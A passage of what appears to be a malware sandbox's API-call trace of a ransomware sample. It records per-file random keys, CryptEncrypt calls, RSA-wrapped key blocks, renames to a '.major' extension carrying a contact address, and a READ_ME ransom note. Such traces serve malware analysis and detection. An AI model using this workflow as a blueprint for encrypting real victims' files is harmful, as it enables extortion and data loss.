pszString="p6nhVPLc6y+XQtXbNoYt+Mg6GUX9pCrk1fdAKJXvE5qXdJvlY1jP070svHShKe+j\n5XCziOkk9QpY2dlga11v1TM+vJXZtNLflVIT9RFwiKMREAaRYBOEyr4tjWYUjgkZ\n1KqwktqouVL+nmEcMa9OhvZPS7dYACkIwe3ux1q1XkxksXthSdvVm3QIu5/7oXHp\nXKdGKXl8vd+w6rYiHhcCKAwS6OTtJbR9VnpPoAdptt1egnZJ70J43N1t1t859t9v\nihSsAld/LvLeWn8cveo6CpZnA8lI1/GqBEa9FXnK0O1YnE79jPHLEY5EFA6pkh1i\nNrufGfu/kQDig9hZskOMDQ==\n", pcchString=0x2e3f9a8) returned 1 [0303.043] WriteFile (in: hFile=0x1bf0, lpBuffer=0x661930*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x661930*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0303.043] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0303.043] WriteFile (in: hFile=0x1bf0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0303.043] CloseHandle (hObject=0x1bf0) returned 1 [0303.043] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279986\\imprbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\279986\\imprbeacons.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279986\\imprbeacons.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\279986\\imprbeacons.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0303.182] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0303.182] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279986\\eventbeacons.dat", dwFileAttributes=0x80) returned 1 [0303.183] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279986\\eventbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\279986\\eventbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bf0 [0303.183] GetFileSizeEx (in: hFile=0x1bf0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0303.183] ReadFile (in: hFile=0x1bf0, lpBuffer=0x59d4b0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0303.184] SetFilePointer (in: hFile=0x1bf0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0303.184] WriteFile (in: hFile=0x1bf0, lpBuffer=0x59d430*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0303.184] SetFilePointer (in: hFile=0x1bf0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0303.184] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0303.184] WriteFile (in: hFile=0x1bf0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0303.185] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0303.185] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0303.185] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0303.185] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x661930, pcchString=0x2e3f9a8 | out: pszString="Gtl6SEz9WbFNOpgCREc20oSiTlGBI4T68GPVrrzvuVi/mTCqiC3Rzo9qoFuK8u7t\nPOmPphHo2014JF6Wszxw5etmersvKG8H8U/F52BDI5ClQMZt3+EgJdHui/smtewD\nOt6aRFqIccR4ajfw0s4M1FqtTpGtkloKrKLZqfTAGJGztE0SDCmWMmtJm4CLuz6C\niLEfSRcl73YkstDG62csnnI39C5bR4o8sGVewtg1jFBsLEohwafBtkZuzfBHcbws\nBSb58JQ+WaqQGgEzK+pNkmctC3f7QFFt4X5WflBrUKv+ksnwxtglWXuJPOstqSvU\nBFMXNyZD4in5c5RUscOnpQ==\n", pcchString=0x2e3f9a8) returned 1 [0303.185] WriteFile (in: hFile=0x1bf0, lpBuffer=0x661930*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x661930*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0303.186] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0303.186] WriteFile (in: hFile=0x1bf0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0303.186] CloseHandle (hObject=0x1bf0) returned 1 [0303.186] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279986\\eventbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\279986\\eventbeacons.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279986\\eventbeacons.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\279986\\eventbeacons.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0303.188] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0303.188] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279986\\1504797760", dwFileAttributes=0x80) returned 1 [0303.190] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279986\\1504797760" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\279986\\1504797760"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bf0 [0303.191] GetFileSizeEx (in: hFile=0x1bf0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=15080) returned 1 [0303.191] ReadFile (in: hFile=0x1bf0, lpBuffer=0x3437008, nNumberOfBytesToRead=0x3ae8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3437008*, lpNumberOfBytesRead=0x2e3f9b4*=0x3ae8, lpOverlapped=0x0) returned 1 [0303.209] SetFilePointer (in: hFile=0x1bf0, lDistanceToMove=-15080, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0303.209] WriteFile (in: hFile=0x1bf0, lpBuffer=0x2f39028*, nNumberOfBytesToWrite=0x3ae8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3ae8, lpOverlapped=0x0) returned 1 [0303.209] SetFilePointer (in: hFile=0x1bf0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3ae8 [0303.209] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0303.209] WriteFile (in: hFile=0x1bf0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0303.210] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0303.210] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0303.210] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0303.210] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x663500, pcchString=0x2e3f9a8 | out: pszString="MGj1Ms6H+gcY5aj3XeRkq808gBd4bAAbCj+C2rC0yo/Z7uwQ2P8YXyjusI4QWisZ\nUzOvQHYq2cFDYbri5hedzXV6qhuYxVtF+/N7hzTr3WRIoovzzBjKdz3nLWDqS3V+\nKCu6byLr0gNkIg/Q0k1xZ1gL403kBRm41iFzrpYJXZotv3WQyyHxTBqzJZIoUoFG\nOAV/DZfkNZAk6Q+cTWoiRdZRfJMvXJ2vnUZ3/lPqUcB/74apT+Ids9iIcS6OiXDG\nDGKXL0sumaFYq0pMOeyOZS8sHwXpGPrQs203yG0vHXq5QhcE7jCooOj9y3a+7/iV\neMXd0iyG6ulMJmgSNBX4pQ==\n", pcchString=0x2e3f9a8) returned 1 [0303.210] WriteFile (in: hFile=0x1bf0, lpBuffer=0x663500*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x663500*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0303.211] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0303.211] WriteFile (in: hFile=0x1bf0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0303.211] CloseHandle (hObject=0x1bf0) returned 1 [0303.211] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279986\\1504797760" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\279986\\1504797760"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279986\\1504797760.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\279986\\1504797760.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0303.213] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0303.213] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279986\\1504785768", dwFileAttributes=0x80) returned 1 [0303.213] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279986\\1504785768" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\279986\\1504785768"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bf0 [0303.214] GetFileSizeEx (in: hFile=0x1bf0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=22710) returned 1 [0303.214] ReadFile (in: hFile=0x1bf0, lpBuffer=0x343b820, nNumberOfBytesToRead=0x58b6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343b820*, lpNumberOfBytesRead=0x2e3f9b4*=0x58b6, lpOverlapped=0x0) returned 1 [0303.315] SetFilePointer (in: hFile=0x1bf0, lDistanceToMove=-22710, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0303.315] WriteFile (in: hFile=0x1bf0, lpBuffer=0x3540048*, nNumberOfBytesToWrite=0x58b6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3540048*, lpNumberOfBytesWritten=0x2e3f9b4*=0x58b6, lpOverlapped=0x0) returned 1 [0303.315] SetFilePointer (in: hFile=0x1bf0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x58b6 [0303.315] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0303.315] WriteFile (in: hFile=0x1bf0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0303.316] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0303.316] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0303.316] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0303.316] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x661ec0, pcchString=0x2e3f9a8 | out: pszString="wmho287N0d/G2bjPcsyPpuJwZfARRhwhJEDlVaa79swf1tCxxkAZ19no987oMHW3\nuRhi7RVP9zmBWcfJnu4hLZWDd/uJ91R9ITH16UAslWmAod4x/tRcUIfqaS0kRFWn\nGfP6ei1gpJ6MFwPEj8HGH67ss8RQjOQlrJ1WsPHEKV1V52K0yuzKMqQBfdD1ifak\nFQSJ7MBF+CXVl4j9In0TIeb+np0QsojwKV7n4bk4ojbg4WENkvN1SWeSjl9Z4EYc\nhGQ59Y4uC3rlF7qnt/ZqLr83Lobs+qLI2t4FB5Qfb56OvHl21Beoy0AeYVhd9/1+\nCQ7vtBqpiU9S1DInZ37vbg==\n", pcchString=0x2e3f9a8) returned 1 [0303.316] WriteFile (in: hFile=0x1bf0, lpBuffer=0x661ec0*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x661ec0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0303.316] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0303.316] WriteFile (in: hFile=0x1bf0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0303.316] CloseHandle (hObject=0x1bf0) returned 1 [0303.316] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279986\\1504785768" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\279986\\1504785768"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279986\\1504785768.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\279986\\1504785768.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0303.318] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280810\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41554e17, ftCreationTime.dwHighDateTime=0x1d32747, ftLastAccessTime.dwLowDateTime=0x821ae63c, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x513817f5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f376a8 [0303.319] SetLastError (dwErrCode=0x0) [0303.319] GetLastError () returned 0x0 [0303.319] SetLastError (dwErrCode=0x0) [0303.319] GetLastError () returned 0x0 [0303.319] SetLastError (dwErrCode=0x0) [0303.319] FindNextFileW (in: hFindFile=0x2f376a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41554e17, ftCreationTime.dwHighDateTime=0x1d32747, ftLastAccessTime.dwLowDateTime=0x821ae63c, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x513817f5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0303.319] SetLastError (dwErrCode=0x0) [0303.319] GetLastError () returned 0x0 [0303.319] SetLastError (dwErrCode=0x0) [0303.319] GetLastError () returned 0x0 [0303.319] SetLastError (dwErrCode=0x0) [0303.319] FindNextFileW (in: hFindFile=0x2f376a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4157b08c, ftCreationTime.dwHighDateTime=0x1d32747, ftLastAccessTime.dwLowDateTime=0x4157b08c, ftLastAccessTime.dwHighDateTime=0x1d32747, ftLastWriteTime.dwLowDateTime=0xa4af1f4d, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="eventbeacons.dat", cAlternateFileName="EVENTB~1.DAT")) returned 1 [0303.319] SetLastError (dwErrCode=0x0) [0303.319] GetLastError () returned 0x0 [0303.319] SetLastError (dwErrCode=0x0) [0303.319] SetLastError (dwErrCode=0x0) [0303.319] FindNextFileW (in: hFindFile=0x2f376a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41554e17, ftCreationTime.dwHighDateTime=0x1d32747, ftLastAccessTime.dwLowDateTime=0x41554e17, ftLastAccessTime.dwHighDateTime=0x1d32747, ftLastWriteTime.dwLowDateTime=0xa4aa5afd, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="imprbeacons.dat", cAlternateFileName="IMPRBE~1.DAT")) returned 1 [0303.319] SetLastError (dwErrCode=0x0) [0303.319] GetLastError () returned 0x0 [0303.319] SetLastError (dwErrCode=0x0) [0303.320] SetLastError (dwErrCode=0x0) [0303.320] FindNextFileW (in: hFindFile=0x2f376a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x513817f5, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x513817f5, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x513817f5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0303.320] SetLastError (dwErrCode=0x0) [0303.320] GetLastError () returned 0x0 [0303.320] SetLastError (dwErrCode=0x0) [0303.320] SetLastError (dwErrCode=0x0) [0303.320] FindNextFileW (in: hFindFile=0x2f376a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x513817f5, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x513817f5, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x513817f5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0303.320] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0303.320] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280810\\imprbeacons.dat", dwFileAttributes=0x80) returned 1 [0303.320] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280810\\imprbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280810\\imprbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bf4 [0303.321] GetFileSizeEx (in: hFile=0x1bf4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0303.321] ReadFile (in: hFile=0x1bf4, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0303.321] SetFilePointer (in: hFile=0x1bf4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0303.321] WriteFile (in: hFile=0x1bf4, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0303.321] SetFilePointer (in: hFile=0x1bf4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0303.321] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0303.321] WriteFile (in: hFile=0x1bf4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0303.322] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0303.322] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0303.322] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0303.323] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x662188, pcchString=0x2e3f9a8 | out: pszString="43tquqVHdcVd6/C0QGuylbQK6IR3CwXRGm4vNsf5vJf/V5QkWjN++CHfaUTwgpum\nKyBdTB2jgyjTfkav5CjHfZyAAVg9f71EACYGoLG744Ph7D7clp8GYDR6BCt/RS6p\njAjqndDzPT0+GjLvDh4U0gAZU+V1Zi+L4L4v7oPHZc77Tgl0Ze/8yN9J5/nRmNvH\n2ljSLrtNCBdG25rPN6VdB0mey3ffy8yMKPDE13lq6XgXrFbgcvvw1Qp82pl5iRdg\nmOVSeQtNU0ykEZee0S7UeSGmF5GVorCBC3hXBvqZoBuL1CdieDJ93PKoFBRJ0E3q\nuqqyKzriY/FZ3b/4J7LyMw==\n", pcchString=0x2e3f9a8) returned 1 [0303.323] WriteFile (in: hFile=0x1bf4, lpBuffer=0x662188*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: 